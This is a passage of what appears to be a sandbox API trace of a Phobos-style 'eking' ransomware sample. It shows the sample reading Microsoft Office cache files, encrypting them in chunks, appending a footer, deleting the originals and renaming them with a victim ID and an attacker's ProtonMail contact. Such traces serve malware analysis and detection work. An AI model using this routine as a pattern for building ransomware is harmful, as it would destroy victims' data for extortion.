lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0211.241] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0211.241] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0211.242] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x93a, lpOverlapped=0x0) returned 1 [0211.242] FlushFileBuffers (hFile=0x1a8) returned 1 [0211.552] FlushFileBuffers (hFile=0x1a4) returned 1 [0211.867] CloseHandle (hObject=0x1a8) returned 1 [0211.867] CloseHandle (hObject=0x1a4) returned 1 [0211.867] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0211.868] SetEvent (hEvent=0xe0) returned 1 [0211.869] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0211.870] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=18874884) returned 1 [0211.870] CloseHandle (hObject=0x1a4) returned 1 [0211.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0211.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0211.874] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0211.875] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0211.875] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0211.875] ReadFile (in: hFile=0x1a4, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0211.978] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0211.978] ReadFile (in: hFile=0x1a4, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0212.611] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0212.611] ReadFile (in: hFile=0x1a4, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0212.803] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0212.803] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0212.819] SetEndOfFile (hFile=0x1a4) returned 1 [0212.820] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0212.820] WriteFile (in: hFile=0x1a4, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0212.822] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0212.822] WriteFile (in: hFile=0x1a4, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0212.830] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0212.830] WriteFile (in: hFile=0x1a4, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0212.832] FlushFileBuffers (hFile=0x1a4) returned 1 [0214.920] CloseHandle (hObject=0x1a4) returned 1 [0214.920] SetEvent (hEvent=0xe0) returned 1 [0214.921] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0214.922] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1231) returned 1 [0214.922] CloseHandle (hObject=0x1a4) returned 1 [0214.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0214.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0214.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0214.922] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0214.922] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0214.922] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0214.922] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0214.923] ReadFile (in: hFile=0x1a4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x4cf, lpOverlapped=0x0) returned 1 [0214.984] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x4d0, lpOverlapped=0x0) returned 1 [0214.986] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0214.986] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0214.986] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0214.986] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x4cf, lpOverlapped=0x0) returned 1 [0214.986] FlushFileBuffers (hFile=0x1a4) returned 1 [0215.679] FlushFileBuffers (hFile=0x1a8) returned 1 [0215.831] CloseHandle (hObject=0x1a4) returned 1 [0215.831] CloseHandle (hObject=0x1a8) returned 1 [0215.831] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0215.833] SetEvent (hEvent=0xe0) returned 1 [0215.834] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0215.834] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1852) returned 1 [0215.834] CloseHandle (hObject=0x1a8) returned 1 [0215.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0215.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0215.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0215.835] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0215.835] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0215.835] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0215.835] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a4 [0215.836] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x73c, lpOverlapped=0x0) returned 1 [0216.059] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x740, lpOverlapped=0x0) returned 1 [0217.505] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0217.505] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0217.505] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0217.505] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x73c, lpOverlapped=0x0) returned 1 [0217.505] FlushFileBuffers (hFile=0x1a8) returned 1 [0217.692] FlushFileBuffers (hFile=0x1a4) returned 1 [0217.725] CloseHandle (hObject=0x1a8) returned 1 [0217.726] CloseHandle (hObject=0x1a4) returned 1 [0217.726] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0217.727] SetEvent (hEvent=0xe0) returned 1 [0217.727] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0217.729] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=6241) returned 1 [0217.729] CloseHandle (hObject=0x1a4) returned 1 [0217.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0217.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0217.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0217.730] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0217.730] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0217.730] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0217.730] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0217.733] ReadFile (in: hFile=0x1a4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x1861, lpOverlapped=0x0) returned 1 [0217.738] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x1870, lpOverlapped=0x0) returned 1 [0217.739] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0217.739] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0217.739] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0217.739] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x1861, lpOverlapped=0x0) returned 1 [0217.739] FlushFileBuffers (hFile=0x1a4) returned 1 [0217.743] FlushFileBuffers (hFile=0x1a8) returned 1 [0217.745] CloseHandle (hObject=0x1a4) returned 1 [0217.745] CloseHandle (hObject=0x1a8) returned 1 [0217.745] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0217.747] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0217.747] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=50823389) returned 1 [0217.747] CloseHandle (hObject=0x1a8) returned 1 [0217.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0217.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0217.752] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0217.752] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0217.752] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0217.752] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0217.757] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0217.758] ReadFile (in: hFile=0x1a8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0217.763] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0217.763] ReadFile (in: hFile=0x1a8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0217.776] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0217.776] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0217.796] SetEndOfFile (hFile=0x1a8) returned 1 [0217.796] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0217.796] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0217.798] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0217.798] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0217.799] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0217.799] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0217.799] FlushFileBuffers (hFile=0x1a8) returned 1 [0218.457] CloseHandle (hObject=0x1a8) returned 1 [0218.457] SetEvent (hEvent=0xe0) returned 1 [0218.460] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0218.461] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=9503) returned 1 [0218.461] CloseHandle (hObject=0x1ac) returned 1 [0218.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0218.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All 